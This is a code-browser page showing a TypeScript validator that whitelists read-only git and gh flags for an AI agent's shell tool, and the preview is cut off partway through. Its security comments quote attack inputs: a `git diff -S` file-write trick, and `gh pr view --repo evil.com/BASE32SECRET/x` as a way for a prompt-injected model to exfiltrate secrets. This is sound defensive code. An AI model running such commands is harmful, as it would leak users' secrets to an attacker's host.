πŸ“„ File detail

utils/shell/readOnlyCommandValidation.ts

🧩 .tsπŸ“ 1,894 linesπŸ’Ύ 68,294 bytesπŸ“ text
← Back to All Files

🎯 Use case

This file lives under β€œutils/”, which covers cross-cutting helpers (shell, tempfiles, settings, messages, process input, …). On the API surface it exposes FlagArgType, ExternalCommandConfig, GIT_READ_ONLY_COMMANDS, GH_READ_ONLY_COMMANDS, and DOCKER_READ_ONLY_COMMANDS (and more) β€” mainly types, interfaces, or factory objects. Dependencies touch -A20. It composes internal code from platform (relative imports). What the file header says: Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.). Exports complete command configuration maps that any shell tool can import: - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks - GH_READ_ONLY_COMMANDS: ant-only gh CLI comman.

Generated from folder role, exports, dependency roots, and inline comments β€” not hand-reviewed for every path.

🧠 Inline summary

Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.). Exports complete command configuration maps that any shell tool can import: - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent) - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell - containsVulnerableUncPath: UNC path detection for credential leak prevention - outputLimits are in outputLimits.ts

πŸ“€ Exports (heuristic)

  • FlagArgType
  • ExternalCommandConfig
  • GIT_READ_ONLY_COMMANDS
  • GH_READ_ONLY_COMMANDS
  • DOCKER_READ_ONLY_COMMANDS
  • RIPGREP_READ_ONLY_COMMANDS
  • PYRIGHT_READ_ONLY_COMMANDS
  • EXTERNAL_READONLY_COMMANDS
  • containsVulnerableUncPath
  • FLAG_PATTERN
  • validateFlagArgument
  • validateFlags

πŸ“š External import roots

Package roots from from "…" (relative paths omitted).

  • -A20

πŸ–₯️ Source preview

/**
 * Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.).
 *
 * Exports complete command configuration maps that any shell tool can import:
 * - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks
 * - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent)
 * - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell
 * - containsVulnerableUncPath: UNC path detection for credential leak prevention
 * - outputLimits are in outputLimits.ts
 */

import { getPlatform } from '../platform.js'

// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------

export type FlagArgType =
  | 'none' // No argument (--color, -n)
  | 'number' // Integer argument (--context=3)
  | 'string' // Any string argument (--relative=path)
  | 'char' // Single character (delimiter)
  | '{}' // Literal "{}" only
  | 'EOF' // Literal "EOF" only

export type ExternalCommandConfig = {
  safeFlags: Record<string, FlagArgType>
  // Returns true if the command is dangerous, false if safe.
  // args is the list of tokens AFTER the command name (e.g., after "git branch").
  additionalCommandIsDangerousCallback?: (
    rawCommand: string,
    args: string[],
  ) => boolean
  // When false, the tool does NOT respect POSIX `--` end-of-options.
  // validateFlags will continue checking flags after `--` instead of breaking.
  // Default: true (most tools respect `--`).
  respectsDoubleDash?: boolean
}

// ---------------------------------------------------------------------------
// Shared git flag groups
// ---------------------------------------------------------------------------

const GIT_REF_SELECTION_FLAGS: Record<string, FlagArgType> = {
  '--all': 'none',
  '--branches': 'none',
  '--tags': 'none',
  '--remotes': 'none',
}

const GIT_DATE_FILTER_FLAGS: Record<string, FlagArgType> = {
  '--since': 'string',
  '--after': 'string',
  '--until': 'string',
  '--before': 'string',
}

const GIT_LOG_DISPLAY_FLAGS: Record<string, FlagArgType> = {
  '--oneline': 'none',
  '--graph': 'none',
  '--decorate': 'none',
  '--no-decorate': 'none',
  '--date': 'string',
  '--relative-date': 'none',
}

const GIT_COUNT_FLAGS: Record<string, FlagArgType> = {
  '--max-count': 'number',
  '-n': 'number',
}

// Stat output flags - used in git log, show, diff
const GIT_STAT_FLAGS: Record<string, FlagArgType> = {
  '--stat': 'none',
  '--numstat': 'none',
  '--shortstat': 'none',
  '--name-only': 'none',
  '--name-status': 'none',
}

// Color output flags - used in git log, show, diff
const GIT_COLOR_FLAGS: Record<string, FlagArgType> = {
  '--color': 'none',
  '--no-color': 'none',
}

// Patch display flags - used in git log, show
const GIT_PATCH_FLAGS: Record<string, FlagArgType> = {
  '--patch': 'none',
  '-p': 'none',
  '--no-patch': 'none',
  '--no-ext-diff': 'none',
  '-s': 'none',
}

// Author/committer filter flags - used in git log, reflog
const GIT_AUTHOR_FILTER_FLAGS: Record<string, FlagArgType> = {
  '--author': 'string',
  '--committer': 'string',
  '--grep': 'string',
}

// ---------------------------------------------------------------------------
// GIT_READ_ONLY_COMMANDS β€” complete map of all git subcommands
// ---------------------------------------------------------------------------

export const GIT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
  'git diff': {
    safeFlags: {
      ...GIT_STAT_FLAGS,
      ...GIT_COLOR_FLAGS,
      // Display and comparison flags
      '--dirstat': 'none',
      '--summary': 'none',
      '--patch-with-stat': 'none',
      '--word-diff': 'none',
      '--word-diff-regex': 'string',
      '--color-words': 'none',
      '--no-renames': 'none',
      '--no-ext-diff': 'none',
      '--check': 'none',
      '--ws-error-highlight': 'string',
      '--full-index': 'none',
      '--binary': 'none',
      '--abbrev': 'number',
      '--break-rewrites': 'none',
      '--find-renames': 'none',
      '--find-copies': 'none',
      '--find-copies-harder': 'none',
      '--irreversible-delete': 'none',
      '--diff-algorithm': 'string',
      '--histogram': 'none',
      '--patience': 'none',
      '--minimal': 'none',
      '--ignore-space-at-eol': 'none',
      '--ignore-space-change': 'none',
      '--ignore-all-space': 'none',
      '--ignore-blank-lines': 'none',
      '--inter-hunk-context': 'number',
      '--function-context': 'none',
      '--exit-code': 'none',
      '--quiet': 'none',
      '--cached': 'none',
      '--staged': 'none',
      '--pickaxe-regex': 'none',
      '--pickaxe-all': 'none',
      '--no-index': 'none',
      '--relative': 'string',
      // Diff filtering
      '--diff-filter': 'string',
      // Short flags
      '-p': 'none',
      '-u': 'none',
      '-s': 'none',
      '-M': 'none',
      '-C': 'none',
      '-B': 'none',
      '-D': 'none',
      '-l': 'none',
      // SECURITY: -S/-G/-O take REQUIRED string arguments (pickaxe search,
      // pickaxe regex, orderfile). Previously 'none' caused a parser
      // differential with git: `git diff -S -- --output=/tmp/pwned` β€”
      // validator sees -S as no-arg β†’ advances 1 token β†’ breaks on `--` β†’
      // --output unchecked. git sees -S requires arg β†’ consumes `--` as the
      // pickaxe string (standard getopt: required-arg options consume next
      // argv unconditionally, BEFORE the top-level `--` check) β†’ cursor at
      // --output=... β†’ parses as long option β†’ ARBITRARY FILE WRITE.
      // git log config at line ~207 correctly has -S/-G as 'string'.
      '-S': 'string',
      '-G': 'string',
      '-O': 'string',
      '-R': 'none',
    },
  },
  'git log': {
    safeFlags: {
      ...GIT_LOG_DISPLAY_FLAGS,
      ...GIT_REF_SELECTION_FLAGS,
      ...GIT_DATE_FILTER_FLAGS,
      ...GIT_COUNT_FLAGS,
      ...GIT_STAT_FLAGS,
      ...GIT_COLOR_FLAGS,
      ...GIT_PATCH_FLAGS,
      ...GIT_AUTHOR_FILTER_FLAGS,
      // Additional display flags
      '--abbrev-commit': 'none',
      '--full-history': 'none',
      '--dense': 'none',
      '--sparse': 'none',
      '--simplify-merges': 'none',
      '--ancestry-path': 'none',
      '--source': 'none',
      '--first-parent': 'none',
      '--merges': 'none',
      '--no-merges': 'none',
      '--reverse': 'none',
      '--walk-reflogs': 'none',
      '--skip': 'number',
      '--max-age': 'number',
      '--min-age': 'number',
      '--no-min-parents': 'none',
      '--no-max-parents': 'none',
      '--follow': 'none',
      // Commit traversal flags
      '--no-walk': 'none',
      '--left-right': 'none',
      '--cherry-mark': 'none',
      '--cherry-pick': 'none',
      '--boundary': 'none',
      // Ordering flags
      '--topo-order': 'none',
      '--date-order': 'none',
      '--author-date-order': 'none',
      // Format control
      '--pretty': 'string',
      '--format': 'string',
      // Diff filtering
      '--diff-filter': 'string',
      // Pickaxe search (find commits that add/remove string)
      '-S': 'string',
      '-G': 'string',
      '--pickaxe-regex': 'none',
      '--pickaxe-all': 'none',
    },
  },
  'git show': {
    safeFlags: {
      ...GIT_LOG_DISPLAY_FLAGS,
      ...GIT_STAT_FLAGS,
      ...GIT_COLOR_FLAGS,
      ...GIT_PATCH_FLAGS,
      // Additional display flags
      '--abbrev-commit': 'none',
      '--word-diff': 'none',
      '--word-diff-regex': 'string',
      '--color-words': 'none',
      '--pretty': 'string',
      '--format': 'string',
      '--first-parent': 'none',
      '--raw': 'none',
      // Diff filtering
      '--diff-filter': 'string',
      // Short flags
      '-m': 'none',
      '--quiet': 'none',
    },
  },
  'git shortlog': {
    safeFlags: {
      ...GIT_REF_SELECTION_FLAGS,
      ...GIT_DATE_FILTER_FLAGS,
      // Summary options
      '-s': 'none',
      '--summary': 'none',
      '-n': 'none',
      '--numbered': 'none',
      '-e': 'none',
      '--email': 'none',
      '-c': 'none',
      '--committer': 'none',
      // Grouping
      '--group': 'string',
      // Formatting
      '--format': 'string',
      // Filtering
      '--no-merges': 'none',
      '--author': 'string',
    },
  },
  'git reflog': {
    safeFlags: {
      ...GIT_LOG_DISPLAY_FLAGS,
      ...GIT_REF_SELECTION_FLAGS,
      ...GIT_DATE_FILTER_FLAGS,
      ...GIT_COUNT_FLAGS,
      ...GIT_AUTHOR_FILTER_FLAGS,
    },
    // SECURITY: Block `git reflog expire` (positional subcommand) β€” it writes
    // to .git/logs/** by expiring reflog entries. `git reflog delete` similarly
    // writes. Only `git reflog` (bare = show) and `git reflog show` are safe.
    // The positional-arg fallthrough at ~:1730 would otherwise accept `expire`
    // as a non-flag arg, and `--all` is in GIT_REF_SELECTION_FLAGS β†’ passes.
    additionalCommandIsDangerousCallback: (
      _rawCommand: string,
      args: string[],
    ) => {
      // Block known write-capable subcommands: expire, delete, exists.
      // Allow: `show`, ref names (HEAD, refs/*, branch names).
      // The subcommand (if any) is the first positional arg. Subsequent
      // positionals after `show` or after flags are ref names (safe).
      const DANGEROUS_SUBCOMMANDS = new Set(['expire', 'delete', 'exists'])
      for (const token of args) {
        if (!token || token.startsWith('-')) continue
        // First non-flag positional: check if it's a dangerous subcommand.
        // If it's `show` or a ref name like `HEAD`/`refs/...`, safe.
        if (DANGEROUS_SUBCOMMANDS.has(token)) {
          return true // Dangerous subcommand β€” writes to .git/logs/**
        }
        // First positional is safe (show/HEAD/ref) β€” subsequent are ref args
        return false
      }
      return false // No positional = bare `git reflog` = safe (shows reflog)
    },
  },
  'git stash list': {
    safeFlags: {
      ...GIT_LOG_DISPLAY_FLAGS,
      ...GIT_REF_SELECTION_FLAGS,
      ...GIT_COUNT_FLAGS,
    },
  },
  'git ls-remote': {
    safeFlags: {
      // Branch/tag filtering flags
      '--branches': 'none',
      '-b': 'none',
      '--tags': 'none',
      '-t': 'none',
      '--heads': 'none',
      '-h': 'none',
      '--refs': 'none',
      // Output control flags
      '--quiet': 'none',
      '-q': 'none',
      '--exit-code': 'none',
      '--get-url': 'none',
      '--symref': 'none',
      // Sorting flags
      '--sort': 'string',
      // Protocol flags
      // SECURITY: --server-option and -o are INTENTIONALLY EXCLUDED. They
      // transmit an arbitrary attacker-controlled string to the remote git
      // server in the protocol v2 capability advertisement. This is a network
      // WRITE primitive (sending data to remote) on what is supposed to be a
      // read-only command. Even without command substitution (which is caught
      // elsewhere), `--server-option="sensitive-data"` exfiltrates the value
      // to whatever `origin` points to. The read-only path should never enable
      // network writes.
    },
  },
  'git status': {
    safeFlags: {
      // Output format flags
      '--short': 'none',
      '-s': 'none',
      '--branch': 'none',
      '-b': 'none',
      '--porcelain': 'none',
      '--long': 'none',
      '--verbose': 'none',
      '-v': 'none',
      // Untracked files handling
      '--untracked-files': 'string',
      '-u': 'string',
      // Ignore options
      '--ignored': 'none',
      '--ignore-submodules': 'string',
      // Column display
      '--column': 'none',
      '--no-column': 'none',
      // Ahead/behind info
      '--ahead-behind': 'none',
      '--no-ahead-behind': 'none',
      // Rename detection
      '--renames': 'none',
      '--no-renames': 'none',
      '--find-renames': 'string',
      '-M': 'string',
    },
  },
  'git blame': {
    safeFlags: {
      ...GIT_COLOR_FLAGS,
      // Line range
      '-L': 'string',
      // Output format
      '--porcelain': 'none',
      '-p': 'none',
      '--line-porcelain': 'none',
      '--incremental': 'none',
      '--root': 'none',
      '--show-stats': 'none',
      '--show-name': 'none',
      '--show-number': 'none',
      '-n': 'none',
      '--show-email': 'none',
      '-e': 'none',
      '-f': 'none',
      // Date formatting
      '--date': 'string',
      // Ignore whitespace
      '-w': 'none',
      // Ignore revisions
      '--ignore-rev': 'string',
      '--ignore-revs-file': 'string',
      // Move/copy detection
      '-M': 'none',
      '-C': 'none',
      '--score-debug': 'none',
      // Abbreviation
      '--abbrev': 'number',
      // Other options
      '-s': 'none',
      '-l': 'none',
      '-t': 'none',
    },
  },
  'git ls-files': {
    safeFlags: {
      // File selection
      '--cached': 'none',
      '-c': 'none',
      '--deleted': 'none',
      '-d': 'none',
      '--modified': 'none',
      '-m': 'none',
      '--others': 'none',
      '-o': 'none',
      '--ignored': 'none',
      '-i': 'none',
      '--stage': 'none',
      '-s': 'none',
      '--killed': 'none',
      '-k': 'none',
      '--unmerged': 'none',
      '-u': 'none',
      // Output format
      '--directory': 'none',
      '--no-empty-directory': 'none',
      '--eol': 'none',
      '--full-name': 'none',
      '--abbrev': 'number',
      '--debug': 'none',
      '-z': 'none',
      '-t': 'none',
      '-v': 'none',
      '-f': 'none',
      // Exclude patterns
      '--exclude': 'string',
      '-x': 'string',
      '--exclude-from': 'string',
      '-X': 'string',
      '--exclude-per-directory': 'string',
      '--exclude-standard': 'none',
      // Error handling
      '--error-unmatch': 'none',
      // Recursion
      '--recurse-submodules': 'none',
    },
  },
  'git config --get': {
    safeFlags: {
      // No additional flags needed - just reading config values
      '--local': 'none',
      '--global': 'none',
      '--system': 'none',
      '--worktree': 'none',
      '--default': 'string',
      '--type': 'string',
      '--bool': 'none',
      '--int': 'none',
      '--bool-or-int': 'none',
      '--path': 'none',
      '--expiry-date': 'none',
      '-z': 'none',
      '--null': 'none',
      '--name-only': 'none',
      '--show-origin': 'none',
      '--show-scope': 'none',
    },
  },
  // NOTE: 'git remote show' must come BEFORE 'git remote' so longer patterns are matched first
  'git remote show': {
    safeFlags: {
      '-n': 'none',
    },
    // Only allow optional -n, then one alphanumeric remote name
    additionalCommandIsDangerousCallback: (
      _rawCommand: string,
      args: string[],
    ) => {
      // Filter out the known safe flag
      const positional = args.filter(a => a !== '-n')
      // Must have exactly one positional arg that looks like a remote name
      if (positional.length !== 1) return true
      return !/^[a-zA-Z0-9_-]+$/.test(positional[0]!)
    },
  },
  'git remote': {
    safeFlags: {
      '-v': 'none',
      '--verbose': 'none',
    },
    // Only allow bare 'git remote' or 'git remote -v/--verbose'
    additionalCommandIsDangerousCallback: (
      _rawCommand: string,
      args: string[],
    ) => {
      // All args must be known safe flags; no positional args allowed
      return args.some(a => a !== '-v' && a !== '--verbose')
    },
  },
  // git merge-base is a read-only command for finding common ancestors
  'git merge-base': {
    safeFlags: {
      '--is-ancestor': 'none', // Check if first commit is ancestor of second
      '--fork-point': 'none', // Find fork point
      '--octopus': 'none', // Find best common ancestors for multiple refs
      '--independent': 'none', // Filter independent refs
      '--all': 'none', // Output all merge bases
    },
  },
  // git rev-parse is a pure read command β€” resolves refs to SHAs, queries repo paths
  'git rev-parse': {
    safeFlags: {
      // SHA resolution and verification
      '--verify': 'none', // Verify that exactly one argument is a valid object name
      '--short': 'string', // Abbreviate output (optional length via =N)
      '--abbrev-ref': 'none', // Symbolic name of ref
      '--symbolic': 'none', // Output symbolic names
      '--symbolic-full-name': 'none', // Full symbolic name including refs/heads/ prefix
      // Repository path queries (all read-only)
      '--show-toplevel': 'none', // Absolute path of top-level directory
      '--show-cdup': 'none', // Path components to traverse up to top-level
      '--show-prefix': 'none', // Relative path from top-level to cwd
      '--git-dir': 'none', // Path to .git directory
      '--git-common-dir': 'none', // Path to common directory (.git in main worktree)
      '--absolute-git-dir': 'none', // Absolute path to .git directory
      '--show-superproject-working-tree': 'none', // Superproject root (if submodule)
      // Boolean queries
      '--is-inside-work-tree': 'none',
      '--is-inside-git-dir': 'none',
      '--is-bare-repository': 'none',
      '--is-shallow-repository': 'none',
      '--is-shallow-update': 'none',
      '--path-prefix': 'none',
    },
  },
  // git rev-list is read-only commit enumeration β€” lists/counts commits reachable from refs
  'git rev-list': {
    safeFlags: {
      ...GIT_REF_SELECTION_FLAGS,
      ...GIT_DATE_FILTER_FLAGS,
      ...GIT_COUNT_FLAGS,
      ...GIT_AUTHOR_FILTER_FLAGS,
      // Counting
      '--count': 'none', // Output commit count instead of listing
      // Traversal control
      '--reverse': 'none',
      '--first-parent': 'none',
      '--ancestry-path': 'none',
      '--merges': 'none',
      '--no-merges': 'none',
      '--min-parents': 'number',
      '--max-parents': 'number',
      '--no-min-parents': 'none',
      '--no-max-parents': 'none',
      '--skip': 'number',
      '--max-age': 'number',
      '--min-age': 'number',
      '--walk-reflogs': 'none',
      // Output formatting
      '--oneline': 'none',
      '--abbrev-commit': 'none',
      '--pretty': 'string',
      '--format': 'string',
      '--abbrev': 'number',
      '--full-history': 'none',
      '--dense': 'none',
      '--sparse': 'none',
      '--source': 'none',
      '--graph': 'none',
    },
  },
  // git describe is read-only β€” describes commits relative to the most recent tag
  'git describe': {
    safeFlags: {
      // Tag selection
      '--tags': 'none', // Consider all tags, not just annotated
      '--match': 'string', // Only consider tags matching the glob pattern
      '--exclude': 'string', // Do not consider tags matching the glob pattern
      // Output control
      '--long': 'none', // Always output long format (tag-distance-ghash)
      '--abbrev': 'number', // Abbreviate objectname to N hex digits
      '--always': 'none', // Show uniquely abbreviated object as fallback
      '--contains': 'none', // Find tag that comes after the commit
      '--first-match': 'none', // Prefer tags closest to the tip (stops after first match)
      '--exact-match': 'none', // Only output if an exact match (tag points at commit)
      '--candidates': 'number', // Limit walk before selecting best candidates
      // Suffix/dirty markers
      '--dirty': 'none', // Append "-dirty" if working tree has modifications
      '--broken': 'none', // Append "-broken" if repository is in invalid state
    },
  },
  // git cat-file is read-only object inspection β€” displays type, size, or content of objects
  // NOTE: --batch (without --check) is intentionally excluded β€” it reads arbitrary objects
  // from stdin which could be exploited in piped commands to dump sensitive objects.
  'git cat-file': {
    safeFlags: {
      // Object query modes (all purely read-only)
      '-t': 'none', // Print type of object
      '-s': 'none', // Print size of object
      '-p': 'none', // Pretty-print object contents
      '-e': 'none', // Exit with zero if object exists, non-zero otherwise
      // Batch mode β€” read-only check variant only
      '--batch-check': 'none', // For each object on stdin, print type and size (no content)
      // Output control
      '--allow-undetermined-type': 'none',
    },
  },
  // git for-each-ref is read-only ref iteration β€” lists refs with optional formatting and filtering
  'git for-each-ref': {
    safeFlags: {
      // Output formatting
      '--format': 'string', // Format string using %(fieldname) placeholders
      // Sorting
      '--sort': 'string', // Sort by key (e.g., refname, creatordate, version:refname)
      // Limiting
      '--count': 'number', // Limit output to at most N refs
      // Filtering
      '--contains': 'string', // Only list refs that contain specified commit
      '--no-contains': 'string', // Only list refs that do NOT contain specified commit
      '--merged': 'string', // Only list refs reachable from specified commit
      '--no-merged': 'string', // Only list refs NOT reachable from specified commit
      '--points-at': 'string', // Only list refs pointing at specified object
    },
  },
  // git grep is read-only β€” searches tracked files for patterns
  'git grep': {
    safeFlags: {
      // Pattern matching modes
      '-e': 'string', // Pattern
      '-E': 'none', // Extended regexp
      '--extended-regexp': 'none',
      '-G': 'none', // Basic regexp (default)
      '--basic-regexp': 'none',
      '-F': 'none', // Fixed strings
      '--fixed-strings': 'none',
      '-P': 'none', // Perl regexp
      '--perl-regexp': 'none',
      // Match control
      '-i': 'none', // Ignore case
      '--ignore-case': 'none',
      '-v': 'none', // Invert match
      '--invert-match': 'none',
      '-w': 'none', // Word regexp
      '--word-regexp': 'none',
      // Output control
      '-n': 'none', // Line number
      '--line-number': 'none',
      '-c': 'none', // Count
      '--count': 'none',
      '-l': 'none', // Files with matches
      '--files-with-matches': 'none',
      '-L': 'none', // Files without match
      '--files-without-match': 'none',
      '-h': 'none', // No filename
      '-H': 'none', // With filename
      '--heading': 'none',
      '--break': 'none',
      '--full-name': 'none',
      '--color': 'none',
      '--no-color': 'none',
      '-o': 'none', // Only matching
      '--only-matching': 'none',
      // Context
      '-A': 'number', // After context
      '--after-context': 'number',
      '-B': 'number', // Before context
      '--before-context': 'number',
      '-C': 'number', // Context
      '--context': 'number',
      // Boolean operators for multi-pattern
      '--and': 'none',
      '--or': 'none',
      '--not': 'none',
      // Scope control
      '--max-depth': 'number',
      '--untracked': 'none',
      '--no-index': 'none',
      '--recurse-submodules': 'none',
      '--cached': 'none',
      // Threads
      '--threads': 'number',
      // Quiet
      '-q': 'none',
      '--quiet': 'none',
    },
  },
  // git stash show is read-only β€” displays diff of a stash entry
  'git stash show': {
    safeFlags: {
      ...GIT_STAT_FLAGS,
      ...GIT_COLOR_FLAGS,
      ...GIT_PATCH_FLAGS,
      // Diff options
      '--word-diff': 'none',
      '--word-diff-regex': 'string',
      '--diff-filter': 'string',
      '--abbrev': 'number',
    },
  },
  // git worktree list is read-only β€” lists linked working trees
  'git worktree list': {
    safeFlags: {
      '--porcelain': 'none',
      '-v': 'none',
      '--verbose': 'none',
      '--expire': 'string',
    },
  },
  'git tag': {
    safeFlags: {
      // List mode flags
      '-l': 'none',
      '--list': 'none',
      '-n': 'number',
      '--contains': 'string',
      '--no-contains': 'string',
      '--merged': 'string',
      '--no-merged': 'string',
      '--sort': 'string',
      '--format': 'string',
      '--points-at': 'string',
      '--column': 'none',
      '--no-column': 'none',
      '-i': 'none',
      '--ignore-case': 'none',
    },
    // SECURITY: Block tag creation via positional arguments. `git tag foo`
    // creates .git/refs/tags/foo (41-byte file write) β€” NOT read-only.
    // This is identical semantics to `git branch foo` (which has the same
    // callback below). Without this callback, validateFlags's default
    // positional-arg fallthrough at ~:1730 accepts `mytag` as a non-flag arg,
    // and git tag auto-approves. While the write is constrained (path limited
    // to .git/refs/tags/, content is fixed HEAD SHA), it violates the
    // read-only invariant and can pollute CI/CD tag-pattern matching or make
    // abandoned commits reachable via `git tag foo <commit>`.
    additionalCommandIsDangerousCallback: (
      _rawCommand: string,
      args: string[],
    ) => {
      // Safe uses: `git tag` (list), `git tag -l pattern` (list filtered),
      // `git tag --contains <ref>` (list containing). A bare positional arg
      // without -l/--list is a tag name to CREATE β€” dangerous.
      const flagsWithArgs = new Set([
        '--contains',
        '--no-contains',
        '--merged',
        '--no-merged',
        '--points-at',
        '--sort',
        '--format',
        '-n',
      ])
      let i = 0
      let seenListFlag = false
      let seenDashDash = false
      while (i < args.length) {
        const token = args[i]
        if (!token) {
          i++
          continue
        }
        // `--` ends flag parsing. All subsequent tokens are positional args,
        // even if they start with `-`. `git tag -- -l` CREATES a tag named `-l`.
        if (token === '--' && !seenDashDash) {
          seenDashDash = true
          i++
          continue
        }
        if (!seenDashDash && token.startsWith('-')) {
          // Check for -l/--list (exact or in a bundle). `-li` bundles -l and
          // -i β€” both 'none' type. Array.includes('-l') exact-matches, missing
          // bundles like `-li`, `-il`. Check individual chars for short bundles.
          if (token === '--list' || token === '-l') {
            seenListFlag = true
          } else if (
            token[0] === '-' &&
            token[1] !== '-' &&
            token.length > 2 &&
            !token.includes('=') &&
            token.slice(1).includes('l')
          ) {
            // Short-flag bundle like -li, -il containing 'l'
            seenListFlag = true
          }
          if (token.includes('=')) {
            i++
          } else if (flagsWithArgs.has(token)) {
            i += 2
          } else {
            i++
          }
        } else {
          // Non-flag positional arg (or post-`--` positional). Safe only if
          // preceded by -l/--list (then it's a pattern, not a tag name).
          if (!seenListFlag) {
            return true // Positional arg without --list = tag creation
          }
          i++
        }
      }
      return false
    },
  },
  'git branch': {
    safeFlags: {
      // List mode flags
      '-l': 'none',
      '--list': 'none',
      '-a': 'none',
      '--all': 'none',
      '-r': 'none',
      '--remotes': 'none',
      '-v': 'none',
      '-vv': 'none',
      '--verbose': 'none',
      // Display options
      '--color': 'none',
      '--no-color': 'none',
      '--column': 'none',
      '--no-column': 'none',
      // SECURITY: --abbrev stays 'number' so validateFlags accepts --abbrev=N
      // (attached form, safe). The DETACHED form `--abbrev N` is the bug:
      // git uses PARSE_OPT_OPTARG (optional-attached only) β€” detached N becomes
      // a POSITIONAL branch name, creating .git/refs/heads/N. validateFlags
      // with 'number' consumes N, but the CALLBACK below catches it: --abbrev
      // is NOT in callback's flagsWithArgs (removed), so callback sees N as a
      // positional without list flag β†’ dangerous. Two-layer defense: validate-
      // Flags accepts both forms, callback blocks detached.
      '--abbrev': 'number',
      '--no-abbrev': 'none',
      // Filtering - these take commit/ref arguments
      '--contains': 'string',
      '--no-contains': 'string',
      '--merged': 'none', // Optional commit argument - handled in callback
      '--no-merged': 'none', // Optional commit argument - handled in callback
      '--points-at': 'string',
      // Sorting
      '--sort': 'string',
      // Note: --format is intentionally excluded as it could pose security risks
      // Show current
      '--show-current': 'none',
      '-i': 'none',
      '--ignore-case': 'none',
    },
    // Block branch creation via positional arguments (e.g., "git branch newbranch")
    // Flag validation is handled by safeFlags above
    // args is tokens after "git branch"
    additionalCommandIsDangerousCallback: (
      _rawCommand: string,
      args: string[],
    ) => {
      // Block branch creation: "git branch <name>" or "git branch <name> <start-point>"
      // Only safe uses are: "git branch" (list), "git branch -flags" (list with options),
      // or "git branch --contains/--merged/etc <ref>" (filtering)
      // Flags that require an argument
      const flagsWithArgs = new Set([
        '--contains',
        '--no-contains',
        '--points-at',
        '--sort',
        // --abbrev REMOVED: git does NOT consume detached arg (PARSE_OPT_OPTARG)
      ])
      // Flags with optional arguments (don't require, but can take one)
      const flagsWithOptionalArgs = new Set(['--merged', '--no-merged'])
      let i = 0
      let lastFlag = ''
      let seenListFlag = false
      let seenDashDash = false
      while (i < args.length) {
        const token = args[i]
        if (!token) {
          i++
          continue
        }
        // `--` ends flag parsing. `git branch -- -l` CREATES a branch named `-l`.
        if (token === '--' && !seenDashDash) {
          seenDashDash = true
          lastFlag = ''
          i++
          continue
        }
        if (!seenDashDash && token.startsWith('-')) {
          // Check for -l/--list including short-flag bundles (-li, -la, etc.)
          if (token === '--list' || token === '-l') {
            seenListFlag = true
          } else if (
            token[0] === '-' &&
            token[1] !== '-' &&
            token.length > 2 &&
            !token.includes('=') &&
            token.slice(1).includes('l')
          ) {
            seenListFlag = true
          }
          if (token.includes('=')) {
            lastFlag = token.split('=')[0] || ''
            i++
          } else if (flagsWithArgs.has(token)) {
            lastFlag = token
            i += 2
          } else {
            lastFlag = token
            i++
          }
        } else {
          // Non-flag argument (or post-`--` positional) - could be:
          // 1. A branch name (dangerous - creates a branch)
          // 2. A pattern after --list/-l (safe)
          // 3. An optional argument after --merged/--no-merged (safe)
          const lastFlagHasOptionalArg = flagsWithOptionalArgs.has(lastFlag)
          if (!seenListFlag && !lastFlagHasOptionalArg) {
            return true // Positional arg without --list or filtering flag = branch creation
          }
          i++
        }
      }
      return false
    },
  },
}

// ---------------------------------------------------------------------------
// GH_READ_ONLY_COMMANDS β€” ant-only gh CLI commands (network-dependent)
// ---------------------------------------------------------------------------

// SECURITY: Shared callback for all gh commands to prevent network exfil.
// gh's repo argument accepts `[HOST/]OWNER/REPO` β€” when HOST is present
// (3 segments), gh connects to that host's API. A prompt-injected model can
// encode secrets as the OWNER segment and exfiltrate via DNS/HTTP:
//   gh pr view 1 --repo evil.com/BASE32SECRET/x
//   β†’ GET https://evil.com/api/v3/repos/BASE32SECRET/x/pulls/1
// gh also accepts positional URLs: `gh pr view https://evil.com/owner/repo/pull/1`
//
// git ls-remote has an inline URL guard (readOnlyValidation.ts:~944); this
// callback provides the equivalent for gh. Rejects:
//   - Any token with 2+ slashes (HOST/OWNER/REPO format β€” normal is OWNER/REPO)
//   - Any token with `://` (URL)
//   - Any token with `@` (SSH-style)
// This covers BOTH --repo values AND positional URL/repo arguments, INCLUDING
// the equals-attached form `--repo=HOST/OWNER/REPO` (cobra accepts both forms).
function ghIsDangerousCallback(_rawCommand: string, args: string[]): boolean {
  for (const token of args) {
    if (!token) continue
    // For flag tokens, extract the VALUE after `=` for inspection. Without this,
    // `--repo=evil.com/SECRET/x` (single token starting with `-`) gets skipped
    // entirely, bypassing the HOST check. Cobra treats `--flag=val` identically
    // to `--flag val`; we must inspect both forms.
    let value = token
    if (token.startsWith('-')) {
      const eqIdx = token.indexOf('=')
      if (eqIdx === -1) continue // flag without inline value, nothing to inspect
      value = token.slice(eqIdx + 1)
      if (!value) continue
    }
    // Skip values that are clearly not repo specs (no `/` at all, or pure numbers)
    if (
      !value.includes('/') &&
      !value.includes('://') &&
      !value.includes('@')
    ) {
      continue
    }
    // URL schemes: https://, http://, git://, ssh://
    if (value.includes('://')) {
      return true
    }
    // SSH-style: git@host:owner/repo
    if (value.includes('@')) {
      return true
    }
    // 3+ segments = HOST/OWNER/REPO (normal gh format is OWNER/REPO, 1 slash)
    // Count slashes: 2+ slashes means 3+ segments
    const slashCount = (value.match(/\//g) || []).length
    if (slashCount >= 2) {
      return true
    }
  }
  return false
}

export const GH_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
  // gh pr view is read-only β€” displays pull request details
  'gh pr view': {
    safeFlags: {
      '--json': 'string', // JSON field selection
      '--comments': 'none', // Show comments
      '--repo': 'string', // Target repository (OWNER/REPO)
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh pr list is read-only β€” lists pull requests
  'gh pr list': {
    safeFlags: {
      '--state': 'string', // open, closed, merged, all
      '-s': 'string',
      '--author': 'string',
      '--assignee': 'string',
      '--label': 'string',
      '--limit': 'number',
      '-L': 'number',
